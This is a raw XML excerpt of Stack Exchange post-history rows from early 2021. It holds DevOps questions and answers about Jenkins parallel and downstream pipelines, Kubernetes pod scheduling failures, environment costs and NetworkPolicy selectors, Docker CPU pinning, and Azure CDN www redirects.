  <row Id="41506" PostHistoryTypeId="5" PostId="13486" RevisionGUID="08ff9d07-a392-4a91-8ef4-3071d5f89812" CreationDate="2021-03-05T16:47:38.480" UserId="26451" Comment="added 196 characters in body" Text="Take a look at this Jenkins Plugin: https://plugins.jenkins.io/slave-status/&#xD;&#xA;&#xD;&#xA;It'll expose a healthcheck endpoint + other information like memory on port 3141 (you can configure a custom port). You can then ping that healthcheck endpoint and send the data to CloudWatch." ContentLicense="CC BY-SA 4.0" />
  <row Id="41507" PostHistoryTypeId="2" PostId="13493" RevisionGUID="05571ecb-85f8-46ab-bcd9-bc88a416fe1a" CreationDate="2021-03-05T18:29:48.003" UserId="7730" Text="The Docker Desktop is giving the option to publish ports to the container ports that have been &quot;exposed&quot; in the image. Exposing a port in an image is documentation from the image creator to those running the image, to know what port the application inside the container should be listening. And in this case, it's Docker Desktop that's running the image and looking at that documentation.&#xD;&#xA;&#xD;&#xA;More details on &quot;expose&quot; can be found in Docker's documentation: https://docs.docker.com/engine/reference/builder/#expose" ContentLicense="CC BY-SA 4.0" />
  <row Id="41514" PostHistoryTypeId="5" PostId="4015" RevisionGUID="2b9ec9e3-ed98-473d-aae1-7dfba1665c20" CreationDate="2021-03-06T00:13:39.640" UserId="210" Comment="edited body" Text="As @Tensibai indicated in one the comments, this could be caused as there is insufficient CPU or memory, but that is not always the case.&#xD;&#xA;&#xD;&#xA;For example, a helm chart was just deployed, it failed and the workload in GCP indicated that: &#xD;&#xA;&#xD;&#xA;&gt; Pod errors: CrashLoopBackOff&#xD;&#xA;&#xD;&#xA;Based on the comment of @Tensibai the first impression was that there were insufficient resources, but further analysis using `kubectl describe pod &lt;pod-name&gt;` indicated that in this case the livenessProbe check failed:&#xD;&#xA;&#xD;&#xA;    Liveness probe failed: Get http://10.16.0.13:80/: dial &#xD;&#xA;    tcp 10.16.0.13:80: getsockopt: connection refused&#xD;&#xA;&#xD;&#xA;In summary, the `Does not have minimum availability` message is generic. Multiple issues could trigger this and more in dept analysis is required to find the actual error." ContentLicense="CC BY-SA 4.0" />
  <row Id="41516" PostHistoryTypeId="2" PostId="13495" RevisionGUID="53b49a9d-8066-4660-9de8-923b32642c61" CreationDate="2021-03-06T10:44:11.423" UserId="19699" Text="    def jobs = [&#xD;&#xA;        [&#xD;&#xA;            &quot;name&quot; : &quot;LegacyUnitTests&quot;,&#xD;&#xA;            &quot;runFolder&quot; : &quot;recipes&quot;,&#xD;&#xA;            &quot;run&quot;   : { -&gt; sh &quot;docker-compose -f docker-compose/docker-compose-maven.yml -f docker-compose/docker-compose.yml run maven-unit-test&quot; },&#xD;&#xA;            &quot;report&quot;: { -&gt; junit testResults: &quot;docker-compose/volmnt/reports/*.xml&quot; },&#xD;&#xA;        ],&#xD;&#xA;        [&#xD;&#xA;            &quot;name&quot; : &quot;AutomationTests&quot;,&#xD;&#xA;            &quot;runFolder&quot; : &quot;automation&quot;,&#xD;&#xA;            &quot;run&quot;   : { -&gt; sh &quot;../run_automation_tests.sh&quot; },&#xD;&#xA;            &quot;report&quot;: { -&gt;&#xD;&#xA;                junit testResults: &quot;reports/junit/*.xml&quot;&#xD;&#xA;                allure([&#xD;&#xA;                    includeProperties: false,&#xD;&#xA;                    jdk: '',&#xD;&#xA;                    properties: [],&#xD;&#xA;                    reportBuildPolicy: 'ALWAYS',&#xD;&#xA;                    results: [[path: '/reports/allure']]&#xD;&#xA;                ])&#xD;&#xA;            }&#xD;&#xA;        ]&#xD;&#xA;    ]&#xD;&#xA;    &#xD;&#xA;    def parallelStagesMap = jobs.collectEntries {&#xD;&#xA;        [&quot;${it.name}&quot; : generateStage(it)]&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    def generateStage(job) {&#xD;&#xA;        return {&#xD;&#xA;            stage(job.name) {&#xD;&#xA;                dir(job.runFolder) {&#xD;&#xA;                    try {&#xD;&#xA;                        job.run.call()&#xD;&#xA;                        setSuccess(this, job.name)&#xD;&#xA;                    }&#xD;&#xA;                    catch (err) {&#xD;&#xA;                        setFailed(this, job.name)&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;           }&#xD;&#xA;       }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    pipeline {&#xD;&#xA;        agent {&#xD;&#xA;            node {&#xD;&#xA;                label 'pr-slave-test'&#xD;&#xA;                customWorkspace &quot;/var/lib/jenkins/workspace/${JOB_NAME}_${BUILD_NUMBER}&quot;&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        post {&#xD;&#xA;            always {&#xD;&#xA;                //Reports&#xD;&#xA;                script {&#xD;&#xA;                    jobs.each {&#xD;&#xA;                        j -&gt; j.report.call()&#xD;&#xA;                    }&#xD;&#xA;                }//Cleanup&#xD;&#xA;                cleanWs()&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        stages {&#xD;&#xA;            stage('Pre-Build') {&#xD;&#xA;                steps {&#xD;&#xA;                     script {&#xD;&#xA;                        //set status as pending&#xD;&#xA;                        jobs.each {&#xD;&#xA;                            j -&gt; setPending(this, j.name)&#xD;&#xA;                        }&#xD;&#xA;                        //checkout all repo   &#xD;&#xA;                     }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            stage('Build') {&#xD;&#xA;                steps {&#xD;&#xA;                    dir () {&#xD;&#xA;                        sh &quot;echo \&quot;Building\&quot;&quot;&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;            stage('CI') {&#xD;&#xA;                steps {&#xD;&#xA;                    script {&#xD;&#xA;                        parallel parallelStagesMap&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I have a declarative pipeline like this and we are running the jobs defined in the jobs map in parallel. I have a requirement now to split and run our unit tests in parallel and i wish to implement that without adding another entry in jobs map instead i like to add another **`&quot;run&quot;`** in the LegacyUnitTests entry itself and run the &quot;run&quot; codes in parallel. Can someone help me how to achieve this?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41517" PostHistoryTypeId="1" PostId="13495" RevisionGUID="53b49a9d-8066-4660-9de8-923b32642c61" CreationDate="2021-03-06T10:44:11.423" UserId="19699" Text="How to add multiple run in parallelStagesMap in declarative pipeline?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41518" PostHistoryTypeId="3" PostId="13495" RevisionGUID="53b49a9d-8066-4660-9de8-923b32642c61" CreationDate="2021-03-06T10:44:11.423" UserId="19699" Text="&lt;jenkins&gt;&lt;pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41519" PostHistoryTypeId="5" PostId="13488" RevisionGUID="29ff83a6-d3c0-4781-81b5-47516f3dad24" CreationDate="2021-03-06T17:05:27.370" UserId="23647" Comment="Added details of affinity, taints, and tolerations" Text="I have an elasticsearch cluster in a kubernetes cluster. I have the data pods going to memory optimized nodes which are tainted so that only the elasticsearch data pods get scheduled to the. Right now I have 3 memory optimized ec2 instances for these data pods. They are r5.2Xlarge's which have 64G of memory. Here is the output of one of these r5 nodes. (they all look the same)&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;Capacity:&#xD;&#xA;  attachable-volumes-aws-ebs:  25&#xD;&#xA;  cpu:                         8&#xD;&#xA;  ephemeral-storage:           32461564Ki&#xD;&#xA;  hugepages-1Gi:               0&#xD;&#xA;  hugepages-2Mi:               0&#xD;&#xA;  memory:                      65049812Ki&#xD;&#xA;  pods:                        110&#xD;&#xA;Allocatable:&#xD;&#xA;  attachable-volumes-aws-ebs:  25&#xD;&#xA;  cpu:                         8&#xD;&#xA;  ephemeral-storage:           29916577333&#xD;&#xA;  hugepages-1Gi:               0&#xD;&#xA;  hugepages-2Mi:               0&#xD;&#xA;  memory:                      64947412Ki&#xD;&#xA;  pods:                        110&#xD;&#xA;System Info:&#xD;&#xA;  Machine ID:                 ec223b5ea23ea6bd5b06e8ed0a733d2d&#xD;&#xA;  System UUID:                ec223b5e-a23e-a6bd-5b06-e8ed0a733d2d&#xD;&#xA;  Boot ID:                    798aca5f-d9e1-4c9f-b75d-e16f7ba2d514&#xD;&#xA;  Kernel Version:             5.4.0-1024-aws&#xD;&#xA;  OS Image:                   Ubuntu 20.04.1 LTS&#xD;&#xA;  Operating System:           linux&#xD;&#xA;  Architecture:               amd64&#xD;&#xA;  Container Runtime Version:  docker://19.3.11&#xD;&#xA;  Kubelet Version:            v1.18.10&#xD;&#xA;  Kube-Proxy Version:         v1.18.10&#xD;&#xA;Non-terminated Pods:          (5 in total)&#xD;&#xA;  Namespace                   Name                                                        CPU Requests  CPU Limits  Memory Requests  Memory Limits  AGE&#xD;&#xA;  ---------                   ----                                                        ------------  ----------  ---------------  -------------  ---&#xD;&#xA;  amazon-cloudwatch           fluentd-cloudwatch-tzsv4                                    100m (1%)     0 (0%)      200Mi (0%)       400Mi (0%)     21d&#xD;&#xA;  default                     prometheus-prometheus-node-exporter-tvmd4                   100m (1%)     0 (0%)      0 (0%)           0 (0%)         21d&#xD;&#xA;  es                          elasticsearch-data-0                                        500m (6%)     1 (12%)     8Gi (12%)        8Gi (12%)      14m&#xD;&#xA;  kube-system                 calico-node-dhxg5                                           100m (1%)     0 (0%)      0 (0%)           0 (0%)         21d&#xD;&#xA;  kube-system                 kube-proxy-ip-10-1-12-115.us-gov-west-1.compute.internal    100m (1%)     0 (0%)      0 (0%)           0 (0%)         21d&#xD;&#xA;Allocated resources:&#xD;&#xA;  (Total limits may be over 100 percent, i.e., overcommitted.)&#xD;&#xA;  Resource                    Requests      Limits&#xD;&#xA;  --------                    --------      ------&#xD;&#xA;  cpu                         900m (11%)    1 (12%)&#xD;&#xA;  memory                      8392Mi (13%)  8592Mi (13%)&#xD;&#xA;  ephemeral-storage           0 (0%)        0 (0%)&#xD;&#xA;  hugepages-1Gi               0 (0%)        0 (0%)&#xD;&#xA;  hugepages-2Mi               0 (0%)        0 (0%)&#xD;&#xA;  attachable-volumes-aws-ebs  0             0&#xD;&#xA;```&#xD;&#xA;Here is what my cluster looks like&#xD;&#xA;```&#xD;&#xA;kubectl get pods -n es&#xD;&#xA;NAME                                                 READY   STATUS    RESTARTS   AGE&#xD;&#xA;elasticsearch-client-0                               1/1     Running   0          77m&#xD;&#xA;elasticsearch-client-1                               1/1     Running   0          77m&#xD;&#xA;elasticsearch-data-0                                 1/1     Running   0          77m&#xD;&#xA;elasticsearch-data-1                                 1/1     Running   0          77m&#xD;&#xA;elasticsearch-data-2                                 1/1     Running   0          77m&#xD;&#xA;elasticsearch-data-3                                 0/1     Pending   0          77m&#xD;&#xA;elasticsearch-data-4                                 0/1     Pending   0          77m&#xD;&#xA;elasticsearch-data-5                                 0/1     Pending   0          77m&#xD;&#xA;elasticsearch-data-6                                 0/1     Pending   0          77m&#xD;&#xA;elasticsearch-data-7                                 0/1     Pending   0          77m&#xD;&#xA;elasticsearch-master-0                               2/2     Running   0          77m&#xD;&#xA;elasticsearch-master-1                               2/2     Running   0          77m&#xD;&#xA;prometheus-elasticsearch-exporter-6d6c5d49cf-4w7gc   1/1     Running   0          22h&#xD;&#xA;```&#xD;&#xA;Here is the events when I describe pod&#xD;&#xA;```&#xD;&#xA;Events:&#xD;&#xA;  Type     Reason            Age                  From               Message&#xD;&#xA;  ----     ------            ----                 ----               -------&#xD;&#xA;  Warning  FailedScheduling  56s (x5 over 3m35s)  default-scheduler  0/11 nodes are available: 3 Insufficient memory, 3 node(s) didn't match pod affinity/anti-affinity, 3 node(s) didn't satisfy existing pods anti-affinity rules, 5 node(s) didn't match node selector.&#xD;&#xA;```&#xD;&#xA;Here is my resource limits and requests for the data pods&#xD;&#xA;```&#xD;&#xA;    Limits:&#xD;&#xA;      cpu:     1&#xD;&#xA;      memory:  8Gi&#xD;&#xA;    Requests:&#xD;&#xA;      cpu:      500m&#xD;&#xA;      memory:   8Gi&#xD;&#xA;```&#xD;&#xA;Here is what my nodeAffinity looks like&#xD;&#xA;```&#xD;&#xA;nodeAffinity:&#xD;&#xA;  requiredDuringSchedulingIgnoredDuringExecution:&#xD;&#xA;    nodeSelectorTerms:&#xD;&#xA;    - matchExpressions:&#xD;&#xA;      - key: es-data&#xD;&#xA;        operator: In&#xD;&#xA;        values:&#xD;&#xA;        - &quot;true&quot;&#xD;&#xA;```&#xD;&#xA;And my tolerations&#xD;&#xA;```&#xD;&#xA;tolerations:&#xD;&#xA;  - key: &quot;es-data&quot;&#xD;&#xA;    operator: &quot;Equal&quot;&#xD;&#xA;    value: &quot;true&quot;&#xD;&#xA;    effect: &quot;NoSchedule&quot;&#xD;&#xA;```&#xD;&#xA;And here is my node tolerance when I describe the node&#xD;&#xA;```&#xD;&#xA;Taints:             es-data=true:NoSchedule&#xD;&#xA;```&#xD;&#xA;I tainted it like&#xD;&#xA;```&#xD;&#xA;kubectl taint nodes &lt;node&gt; es-data=true:NoSchedule&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;According to my calculations based on my understand (which is probably wrong) my data pods are only asking for 8G of memory from a node which has 64G available, and only one pod requesting 8G of memory is already using it. So it should have theoretically 56G of memory left to other pods requesting to be scheduled to it. And even the memory being used shows me it's only 13% used. Why can't it schedule? How can I troubleshoot? Am I misunderstanding how this should work? What else can I tell you which helps troubleshoot this? " ContentLicense="CC BY-SA 4.0" />
  <row Id="41520" PostHistoryTypeId="2" PostId="13496" RevisionGUID="d382ef61-a7b4-4f9d-a301-4bd05df40578" CreationDate="2021-03-06T18:17:19.670" UserId="9818" Text="We are converting a traditional docker-compose based service stack to a Kubernetes based services &#xD;&#xA;&#xD;&#xA;Before the conversion we had three deployment environments &#xD;&#xA;&#xD;&#xA; 1. Local : Basically this is the developer's working machine. &#xD;&#xA; 2. Dev : Where the everyday releases happens and developers who belongs to other projects like web apps and mobile app uses endpoints from this environment to get their daily work done. &#xD;&#xA; 3. Staging : Project owners/clients see this space&#xD;&#xA; 4. Production : This is where the world facing actual services are living.&#xD;&#xA;&#xD;&#xA;So when its come to Kubernetes, we need to specially invest on Kubernetes supported clusters and those are heavily expensive. &#xD;&#xA;Since we need three deployment environments , do we need to purchase three Kubernetes cluster groupes? &#xD;&#xA;Or how other traditional teams managing this requirement?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41521" PostHistoryTypeId="1" PostId="13496" RevisionGUID="d382ef61-a7b4-4f9d-a301-4bd05df40578" CreationDate="2021-03-06T18:17:19.670" UserId="9818" Text="What are the cost effective ways to deploy services using Kubernetes on multiple deployment environments?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41522" PostHistoryTypeId="3" PostId="13496" RevisionGUID="d382ef61-a7b4-4f9d-a301-4bd05df40578" CreationDate="2021-03-06T18:17:19.670" UserId="9818" Text="&lt;kubernetes&gt;&lt;deployment&gt;&lt;servers&gt;&lt;orchestration&gt;&lt;environments&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41523" PostHistoryTypeId="2" PostId="13497" RevisionGUID="e8a1a18a-ed75-4977-b9d1-440311ca4380" CreationDate="2021-03-06T19:19:01.113" UserId="10769" Text="&gt; 3 Insufficient memory, 3 node(s) didn't match pod affinity/anti-affinity, 3 node(s) didn't satisfy existing pods anti-affinity rules&#xA;&#xA;This means that ES trying to find a different node to deploy separately all the pods of ES. But the cause of your node count is not enough to run one pod on each node, the other pods remain pending state.&#xA;&#xA;For more information read [here][1]&#xA;&#xA;So from here, you have a 2 choice Neo))&#xA;&#xA; 1. Add more nodes until all pods will have been scheduled on the different nodes&#xA; 2. Minimize your ES sts pod count to 3&#xA;&#xA;  [1]: https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/%20here" ContentLicense="CC BY-SA 4.0" />
  <row Id="41524" PostHistoryTypeId="2" PostId="13498" RevisionGUID="6497245e-5b91-40bd-bb63-77a6621a48bc" CreationDate="2021-03-06T21:25:40.200" UserId="26485" Text="As the title describes, I am having trouble enforcing a rule to redirect requests to access loliology.com to www.loliology.com. For example, if a user were to type in their URL Bar, &quot;http://loliology.com&quot; they will be warned by their browser, and in some cases(Chrome), not be able to access the site even if they wish to proceed. I am using Azure CDN Managed certificates, meaning that my certificates cannot ensure authenticity of the root domain, which is my main desire for enforcing www., but I can not seem to figure out the redirect in the CDNs rule engine. I'll show my rules below&#xD;&#xA;&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/g3GUd.png&#xD;&#xA;&#xD;&#xA;As you can see, I have two rules attempting to force both http://loliology.com and https://loliology.com to https://www.loliology.com. Both fail to force www, and leave the website 'Not Secure' even if the browser allows the user to proceed. You can see that the global Modify Response Header / EnforceHTTPS rules are working to force the user to access the site via HTTPS, but I cannot for the life of me get the www rule to be enforced. I'm hoping there is some simple solution. Apologies in advance if I left anything out, please let me know! &#xD;&#xA;&#xD;&#xA;Thank you in advance" ContentLicense="CC BY-SA 4.0" />
  <row Id="41525" PostHistoryTypeId="1" PostId="13498" RevisionGUID="6497245e-5b91-40bd-bb63-77a6621a48bc" CreationDate="2021-03-06T21:25:40.200" UserId="26485" Text="How can I enforce WWW when users try to access the root domain for a static website / CDN with Azure" ContentLicense="CC BY-SA 4.0" />
  <row Id="41526" PostHistoryTypeId="3" PostId="13498" RevisionGUID="6497245e-5b91-40bd-bb63-77a6621a48bc" CreationDate="2021-03-06T21:25:40.200" UserId="26485" Text="&lt;azure-devops&gt;&lt;azure&gt;&lt;cdn&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41528" PostHistoryTypeId="2" PostId="13499" RevisionGUID="3b70ba1d-e215-4bec-b105-29c30d9f3240" CreationDate="2021-03-07T12:18:19.590" UserId="26407" Text="Based on my experience I'd suggest following scenario:&#xD;&#xA;&#xD;&#xA;First you should make your apps deployment process similar for all environments, so same tool and set of files will be responsible for this part. And only difference should goes to parameters.&#xD;&#xA;&#xD;&#xA;And second it's always a good practice to have kubernetes cluster per stage. Very common situation when your changes goes not only to kubernetes apps manifests, but to surrounding infrastructure also (LoadBalancer, Object Buckets, Disks Storage, etc).&#xD;&#xA;&#xD;&#xA;You cat try to cut costs on kubernetes part by using same cluster for dev/stage but still situations with differences in infra resources could happen. And that could lead to more efforts on support and release deployment level.&#xD;&#xA;&#xD;&#xA;In case you will use AWS, you can put kuberentes load to EC2 Spot Instances and that could heavily reduce your monthly bill. &#xD;&#xA;&#xD;&#xA;As for toolset for k8s apps manifests, I've tried multiple tools and ways, and from my experience terraform+terragrunt works better here. Single tool for all infra resources, parameterization works easily, common code could be separated to reusable modules.&#xD;&#xA;&#xD;&#xA;Other option is kustomize or helm, but those tools could help with kubernetes manifests only, and can't manage external resources.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41529" PostHistoryTypeId="2" PostId="13500" RevisionGUID="5fc3b732-f855-46f2-b2e5-af24cee467f0" CreationDate="2021-03-07T15:20:52.170" UserId="26493" Text="I am looking to auto create jobs in jenkins upon pull request , branches, master push etc similar to what we do in Gitlab. My SCM is butbucket here. &#xD;&#xA;&#xD;&#xA;I have so far setup docker based agent integration with Jenkins and butbucket, when I create a job and configure it to use repo it all works fine , but I just want to remove altogether a step of job creation in jenkins and want the workflow like this:&#xD;&#xA;&#xD;&#xA;In butbucket source code repo to keep all pipeline configuration for and branch and tag to trigger Jenkins pipeline without touching Jenkins for job creation or any config creation. Just want to drive all via the script in code repo for pipeline .&#xD;&#xA;&#xD;&#xA;Any recommendations or help for workflow would be appreciated&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41530" PostHistoryTypeId="1" PostId="13500" RevisionGUID="5fc3b732-f855-46f2-b2e5-af24cee467f0" CreationDate="2021-03-07T15:20:52.170" UserId="26493" Text="Auto create Jenkins jobs for branches and pull request via declarative code in scm" ContentLicense="CC BY-SA 4.0" />
  <row Id="41531" PostHistoryTypeId="3" PostId="13500" RevisionGUID="5fc3b732-f855-46f2-b2e5-af24cee467f0" CreationDate="2021-03-07T15:20:52.170" UserId="26493" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;jenkins-pipeline&gt;&lt;gitlab&gt;&lt;bitbucket&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41532" PostHistoryTypeId="2" PostId="13501" RevisionGUID="a315a7ef-8c1b-41ea-8e29-129e83720e30" CreationDate="2021-03-07T17:36:28.827" UserId="13611" Text="My understanding of containers is that they should be considered to be short-lived. In addition, we can scale containers (and if using a container orchestrator like k8s, via pods) by creating additional instances on one or more machines.&#xD;&#xA;&#xD;&#xA;In order to allow for the ephemeral nature of containers, as well as to allow users to access an application from only one address (say, www.myapp.com), we must abstract away the container. From now on, I'm going to assume we're using k8s as the container orchestrator and speak only of pods. In k8s, we do this by using `Service`s to expose pods (either to other pods which comprise the application, or directly to users). `Service`s allow us to load balance and allow for deployment scenarios such as blue/green and zero-downtime deployments while providing a consistent and abstract interface from which to access the underlying pods.&#xD;&#xA;&#xD;&#xA;With this in mind, I have a question about the `NetworkPolicy` resource in k8s. When creating a `NetworkPolicy`, a `podSelector` is used to determine to which pod(s) a network policy applies. However, since a `Service` must be created in order to expose a pod, why is it, then, that a `NetworkPolicy` uses a `podSelector` instead of a &quot;`serviceSelector`&quot;? Wouldn't the concept of a &quot;`serviceSelector`&quot; be more general/abstract, and better reflect to what the policy is really allowing access? Is there a reason I'm unaware of for why network policies are &quot;applied&quot; to pods versus services? (Not to say that you would _never_ want a `NetworkPolicy` to apply directly to a pod, but, generally speaking, most times we apply them to pods which are exposed by a `Service`&amp;mdash;or maybe I'm totally off base here?)" ContentLicense="CC BY-SA 4.0" />
  <row Id="41533" PostHistoryTypeId="1" PostId="13501" RevisionGUID="a315a7ef-8c1b-41ea-8e29-129e83720e30" CreationDate="2021-03-07T17:36:28.827" UserId="13611" Text="NetworkPolicy: Why are pod selectors used over &quot;service selectors&quot;?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41534" PostHistoryTypeId="3" PostId="13501" RevisionGUID="a315a7ef-8c1b-41ea-8e29-129e83720e30" CreationDate="2021-03-07T17:36:28.827" UserId="13611" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41535" PostHistoryTypeId="5" PostId="13497" RevisionGUID="4e617a16-6fee-46b9-83b9-21940093870b" CreationDate="2021-03-07T19:09:09.560" UserId="10769" Comment="added 4 characters in body" Text="&gt; 3 Insufficient memory, 3 node(s) didn't match pod affinity/anti-affinity, 3 node(s) didn't satisfy existing pods anti-affinity rules&#xD;&#xA;&#xD;&#xA;This means that ES trying to find a different node to deploy separately all the pods of ES. But the cause of your node count is not enough to run one pod on each node, the other pods remain pending state.&#xD;&#xA;&#xD;&#xA;For more information read [here][1]&#xD;&#xA;&#xD;&#xA;So from here, you have a 2 choice Neo))&#xD;&#xA;&#xD;&#xA; 1. Add more nodes until all pods will have been scheduled on the different nodes&#xD;&#xA; 2. Minimize your ES sts pod count to 3&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/scheduling-eviction/assign-pod-node/" ContentLicense="CC BY-SA 4.0" />
  <row Id="41536" PostHistoryTypeId="2" PostId="13502" RevisionGUID="a6226e5c-342b-4552-80ec-d1ee2f3c2707" CreationDate="2021-03-07T21:37:17.197" UserId="26497" Text="I'm trying to architect a micro-service application, that runs in Kubernetes.&#xD;&#xA;It consists of several RESTful APIs. I want a central point to implement authentication for these APIs.&#xD;&#xA;&#xD;&#xA;In my product, users would be able to sign themselves up on a website. Signing up would have to give them access to the API's.&#xD;&#xA;&#xD;&#xA;So what I'm looking for is a/the way to have central authentication in Kubernetes for users accessing the APIs. &#xD;&#xA;I would also require to be able to programmatically add users to this auth layer, so I can have users sign themselves up for access.&#xD;&#xA;&#xD;&#xA;I've seen ingress controllers that do central auth, but I haven't found if they support programmatically adding accounts. I've also seen API gateway software that might do what I want, but I'm not sure if and if so, which ones can run in Kubernetes.&#xD;&#xA;&#xD;&#xA;Does anyone have experience in such a setup, that can point me in the right direction?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41537" PostHistoryTypeId="1" PostId="13502" RevisionGUID="a6226e5c-342b-4552-80ec-d1ee2f3c2707" CreationDate="2021-03-07T21:37:17.197" UserId="26497" Text="How do I implement user authentication and management in Kubernetes?" ContentLicense="CC BY-SA 4.0" />
  <row Id="41538" PostHistoryTypeId="3" PostId="13502" RevisionGUID="a6226e5c-342b-4552-80ec-d1ee2f3c2707" CreationDate="2021-03-07T21:37:17.197" UserId="26497" Text="&lt;kubernetes&gt;&lt;ingress&gt;&lt;authentication&gt;&lt;api-gateway&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41539" PostHistoryTypeId="2" PostId="13503" RevisionGUID="2755b77f-67b9-4024-8aa4-fd309aa94a4e" CreationDate="2021-03-08T04:19:39.303" UserId="4115" Text="Use the [Bitbucket Branch Source plugin](https://plugins.jenkins.io/cloudbees-bitbucket-branch-source/), which is an official plugin developed by the Jenkins developers.  This plugin automatically creates jobs for all branches and pull requests of all repos in a project, and if you use Bitbucket Cloud it will also set up webhooks in Bitbucket to ensure pushes and PR updates automatically trigger builds in Jenkins." ContentLicense="CC BY-SA 4.0" />
  <row Id="41540" PostHistoryTypeId="2" PostId="13504" RevisionGUID="2ac49ed1-ef19-4ca9-845f-5a6222425f17" CreationDate="2021-03-08T10:53:03.637" UserId="26502" Text="I have a docker image which exposes a rest service. I have a 4 core machine. I run 4 docker containers with my image by limiting one core per docker container by using --cpuset-cpus flag&#xD;&#xA;&#xD;&#xA;eg&#xD;&#xA;&#xD;&#xA;docker run -p 1:5000 --cpuset-cpus=&quot;1&quot;  imageName   &#xD;&#xA;docker run -p 2:5000 --cpuset-cpus=&quot;2&quot;  imageName  &#xD;&#xA;docker run -p 3:5000 --cpuset-cpus=&quot;3&quot;  imageName&#xD;&#xA;docker run -p 4:5000 --cpuset-cpus=&quot;4&quot;  imageName &#xD;&#xA;&#xD;&#xA;1)I trigger a rest api call to one of the docker containers and get the time taken for request to be almost 100 seconds. &#xD;&#xA;&#xD;&#xA;2)Now I trigger 4 asynchronous requests to all 4 containers and I expect the time taken per request to be same (ie 100 seconds) as each container has one cpu each and work load has not increased. But the time taken goes up to almost 200 seconds per request. Can anyone provide some intuition why the time might go up." ContentLicense="CC BY-SA 4.0" />
  <row Id="41541" PostHistoryTypeId="1" PostId="13504" RevisionGUID="2ac49ed1-ef19-4ca9-845f-5a6222425f17" CreationDate="2021-03-08T10:53:03.637" UserId="26502" Text="performance of a docker container with dedicated cpu core change with other docker containers running processes" ContentLicense="CC BY-SA 4.0" />
  <row Id="41542" PostHistoryTypeId="3" PostId="13504" RevisionGUID="2ac49ed1-ef19-4ca9-845f-5a6222425f17" CreationDate="2021-03-08T10:53:03.637" UserId="26502" Text="&lt;docker&gt;&lt;monitoring&gt;&lt;performance&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41543" PostHistoryTypeId="2" PostId="13505" RevisionGUID="89464c6d-97c6-4fe0-8949-5e1e790549b6" CreationDate="2021-03-08T13:34:15.853" UserId="26505" Text="I have three separate Multibranch pipeline jobs set up on Jenkins, which I want to be called sequentially as downstream-jobs. Please note that, all these 3 jobs have **separate** git repositories!&#xD;&#xA;&#xD;&#xA;Each job has its own Jenkinsfile.&#xD;&#xA;&#xD;&#xA;The first job is always triggered manually by me through the Jenkins UI. At the last stage of the 1st job's Jenkinsfile, the second job is being triggered, as shown below. (The second job triggers the third job, in the same way)&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;stage('Trigger second job')&#xD;&#xA;{&#xD;&#xA;   steps {&#xD;&#xA;       build job: 'second_job_name', propagate: true, wait: false&#xD;&#xA;   }&#xD;&#xA;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Now this step always seems to be executed successfully when the first job ends, no errors or warnings show up on the logs. This should mean that the second downstream job has been called, but unfortunately that's not always the case:&#xD;&#xA;&#xD;&#xA;- Sometimes the first job triggers the second job, but the second job never actually triggers the third one, although it seems to pass the corresponding Jenkinsfile stage.&#xD;&#xA;- Sometimes the first job completes but never triggers the second job at all.&#xD;&#xA;&#xD;&#xA;The only time this setup works as expected, is when there are **new commits to all 3 git repos**. Then all 3 jobs are triggered sequentially without issues.&#xD;&#xA;&#xD;&#xA;Does anyone know the reason behind this inconsistent behavior?&#xD;&#xA;Is it maybe because the jobs are based on different git repos?&#xD;&#xA;Is there anything I can do to fix this?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="41544" PostHistoryTypeId="1" PostId="13505" RevisionGUID="89464c6d-97c6-4fe0-8949-5e1e790549b6" CreationDate="2021-03-08T13:34:15.853" UserId="26505" Text="Jenkins downstream pipeline jobs not always triggered as expected" ContentLicense="CC BY-SA 4.0" />
  <row Id="41545" PostHistoryTypeId="3" PostId="13505" RevisionGUID="89464c6d-97c6-4fe0-8949-5e1e790549b6" CreationDate="2021-03-08T13:34:15.853" UserId="26505" Text="&lt;jenkins&gt;&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
